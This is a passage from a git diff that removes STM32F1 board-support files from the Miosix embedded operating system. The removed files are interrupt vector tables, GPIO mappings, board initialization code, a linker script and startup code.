TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) USBWakeUp_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_5_IRQHandler(); -void __attribute__((weak)) SystemInit_ExtMemCtl(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, /* Window Watchdog */ - PVD_IRQHandler, /* PVD through EXTI Line detect */ - TAMPER_IRQHandler, /* Tamper */ - RTC_IRQHandler, /* RTC */ - FLASH_IRQHandler, /* Flash */ - RCC_IRQHandler, /* RCC */ - EXTI0_IRQHandler, /* EXTI Line 0 */ - EXTI1_IRQHandler, /* EXTI Line 1 */ - EXTI2_IRQHandler, /* EXTI Line 2 */ - EXTI3_IRQHandler, /* EXTI Line 3 */ - EXTI4_IRQHandler, /* EXTI Line 4 */ - DMA1_Channel1_IRQHandler, /* DMA1 Channel 1 */ - DMA1_Channel2_IRQHandler, /* DMA1 Channel 2 */ - DMA1_Channel3_IRQHandler, /* DMA1 Channel 3 */ - DMA1_Channel4_IRQHandler, /* DMA1 Channel 4 */ - DMA1_Channel5_IRQHandler, /* DMA1 Channel 5 */ - DMA1_Channel6_IRQHandler, /* DMA1 Channel 6 */ - DMA1_Channel7_IRQHandler, /* DMA1 Channel 7 */ - ADC1_2_IRQHandler, /* ADC1 & ADC2 */ - USB_HP_CAN1_TX_IRQHandler, /* USB High Priority or CAN1 TX */ - USB_LP_CAN1_RX0_IRQHandler, /* USB Low Priority or CAN1 RX0 */ - CAN1_RX1_IRQHandler, /* CAN1 RX1 */ - CAN1_SCE_IRQHandler, /* CAN1 SCE */ - EXTI9_5_IRQHandler, /* EXTI Line 9..5 */ - TIM1_BRK_IRQHandler, /* TIM1 Break */ - TIM1_UP_IRQHandler, /* TIM1 Update */ - TIM1_TRG_COM_IRQHandler, /* TIM1 Trigger and Commutation */ - TIM1_CC_IRQHandler, /* TIM1 Capture Compare */ - TIM2_IRQHandler, /* TIM2 */ - TIM3_IRQHandler, /* TIM3 */ - TIM4_IRQHandler, /* TIM4 */ - I2C1_EV_IRQHandler, /* I2C1 Event */ - I2C1_ER_IRQHandler, /* I2C1 Error */ - I2C2_EV_IRQHandler, /* I2C2 Event */ - I2C2_ER_IRQHandler, /* I2C2 Error */ - SPI1_IRQHandler, /* SPI1 */ - SPI2_IRQHandler, /* SPI2 */ - USART1_IRQHandler, /* USART1 */ - USART2_IRQHandler, /* USART2 */ - USART3_IRQHandler, /* USART3 */ - EXTI15_10_IRQHandler, /* EXTI Line 15..10 */ - RTC_Alarm_IRQHandler, /* RTC Alarm through EXTI Line */ - USBWakeUp_IRQHandler, /* USB Wakeup from suspend */ - TIM8_BRK_IRQHandler, /* TIM8 Break */ - TIM8_UP_IRQHandler, /* TIM8 Update */ - TIM8_TRG_COM_IRQHandler, /* TIM8 Trigger and Commutation */ - TIM8_CC_IRQHandler, /* TIM8 Capture Compare */ - ADC3_IRQHandler, /* ADC3 */ - FSMC_IRQHandler, /* FSMC */ - SDIO_IRQHandler, /* SDIO */ - TIM5_IRQHandler, /* TIM5 */ - SPI3_IRQHandler, /* SPI3 */ - UART4_IRQHandler, /* UART4 */ - UART5_IRQHandler, /* UART5 */ - TIM6_IRQHandler, /* TIM6 */ - TIM7_IRQHandler, /* TIM7 */ - DMA2_Channel1_IRQHandler, /* DMA2 Channel 1 */ - DMA2_Channel2_IRQHandler, /* DMA2 Channel 2 */ - DMA2_Channel3_IRQHandler, /* DMA2 Channel 3 */ - DMA2_Channel4_5_IRQHandler, /* DMA2 Channel 4 and Channel 5 */ - 0,0,0,0,0,0,0,0, /* @0x130 */ - 0,0,0,0,0,0,0,0, /* @0x150 */ - 0,0,0,0,0,0,0,0, /* @0x170 */ - 0,0,0,0,0,0,0,0, /* @0x190 */ - 0,0,0,0,0,0,0,0, /* @0x1B0 */ - 0,0,0,0, /* @0x1D0 */ - reinterpret_cast(0xF1E0F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x High Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak USB_HP_CAN1_TX_IRQHandler = Default_Handler -#pragma weak USB_LP_CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_IRQHandler = Default_Handler -#pragma weak TIM1_UP_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak USBWakeUp_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_5_IRQHandler = Default_Handler -#pragma weak SystemInit_ExtMemCtl = SystemInit_ExtMemCtl_Dummy - diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp deleted file mode 100644 index 4abfc291b..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,152 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2104 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f1.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable clocks to all ports - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_IOPEEN | RCC_APB2ENR_AFIOEN; - RCC_SYNC(); - //Set ports - led::mode(Mode::OUTPUT); - - disp::reset::mode(Mode::OUTPUT); - disp::ncpEn::mode(Mode::OUTPUT); - - disp::d0::mode(Mode::ALTERNATE); - disp::d1::mode(Mode::ALTERNATE); - disp::d2::mode(Mode::ALTERNATE); - disp::d3::mode(Mode::ALTERNATE); - disp::d4::mode(Mode::ALTERNATE); - disp::d5::mode(Mode::ALTERNATE); - disp::d6::mode(Mode::ALTERNATE); - disp::d7::mode(Mode::ALTERNATE); - disp::d8::mode(Mode::ALTERNATE); - disp::d9::mode(Mode::ALTERNATE); - disp::d10::mode(Mode::ALTERNATE); - disp::d11::mode(Mode::ALTERNATE); - disp::d12::mode(Mode::ALTERNATE); - disp::d13::mode(Mode::ALTERNATE); - disp::d14::mode(Mode::ALTERNATE); - disp::d15::mode(Mode::ALTERNATE); - disp::rd::mode(Mode::ALTERNATE); - disp::wr::mode(Mode::ALTERNATE); - disp::cs::mode(Mode::ALTERNATE); - disp::rs::mode(Mode::ALTERNATE); - - //Chip select to serial flash: setting it to 1 - spi1::nflashss::high(); - spi1::nflashss::mode(Mode::OUTPUT); - - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - NVIC_SystemReset(); - for(;;) ; //Never reach here -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h deleted file mode 100644 index 168fbe98e..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio< GPIOB_BASE,5> led; - -inline void ledOn() -{ - led::high(); -} - -inline void ledOff() -{ - led::low(); -} - -///\internal Pin connected to SD card detect -//typedef Gpio sdCardDetect; //Using grounded pin PB2-BOOT1 - Y.K. - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return true; //sdCardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h deleted file mode 100644 index 41fe3f933..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,111 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -// -// All GPIOs are mapped here -// - -//LED -//typedef Gpio hwled; //Active high - -namespace miosix { - -//Display interface -namespace disp { -typedef Gpio ncpEn; -typedef Gpio reset; - -typedef Gpio rd; -typedef Gpio wr; - -typedef Gpio cs; -typedef Gpio rs; - -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio d4; -typedef Gpio d5; -typedef Gpio d6; -typedef Gpio d7; -typedef Gpio d8; -typedef Gpio d9; -typedef Gpio d10; -typedef Gpio d11; -typedef Gpio d12; -typedef Gpio d13; -typedef Gpio d14; -typedef Gpio d15; -} -//MicroSD connections -namespace sd { -//typedef Gpio cardDetect; -- is absent on Strive board -typedef Gpio d0; //Handled by hardware (SDIO) -typedef Gpio d1; //Handled by hardware (SDIO) -typedef Gpio d2; //Handled by hardware (SDIO) -typedef Gpio d3; //Handled by hardware (SDIO) -typedef Gpio clk; //Handled by hardware (SDIO) -typedef Gpio cmd; //Handled by hardware (SDIO), 100k to +3v3b -} - -//USB connections -namespace usb { -typedef Gpio dm; //Handled by hardware (USB) D- -typedef Gpio dp; //Handled by hardware (USB) D+ -typedef Gpio detect; //1K pullup connected to 3.3V via bipolar PNP. - //Pull this pin down to enable detection!!! -} - -namespace spi1 { -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio nflashss; //used only to select serial flash -typedef Gpio ntouchss; //used to select touch screen controller -typedef Gpio touchint; //touchscreen controller interrupt -}; - -//Debug/bootloader serial port -namespace boot { -typedef Gpio detect; //BOOT1 (10k to ground) -typedef Gpio tx; //Handled by hardware (USART1) -typedef Gpio rx; //Handled by hardware (USART1) -} - -namespace buttons { - typedef Gpio button1; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/stm32_512k+64k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/stm32_512k+64k_rom.ld deleted file mode 100644 index 67c801af1..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/stm32_512k+64k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 64K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 64KB microcontrollers */ -_heap_end = 0x20010000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 64K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/core/stage_1_boot.cpp deleted file mode 100644 index 7be6e1a49..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/core/stage_1_boot.cpp +++ /dev/null @@ -1,364 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - #ifndef __CODE_IN_XRAM - memcpy(data, etext, edata-data); - #else //__CODE_IN_XRAM - (void)etext; //Avoid unused variable warning - (void)data; - (void)edata; - #endif //__CODE_IN_XRAM - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x68000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x68000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x68000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -/** - * ? - */ -extern "C" void SystemInit_ExtMemCtl_Dummy() -{ - //Do nothing -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void 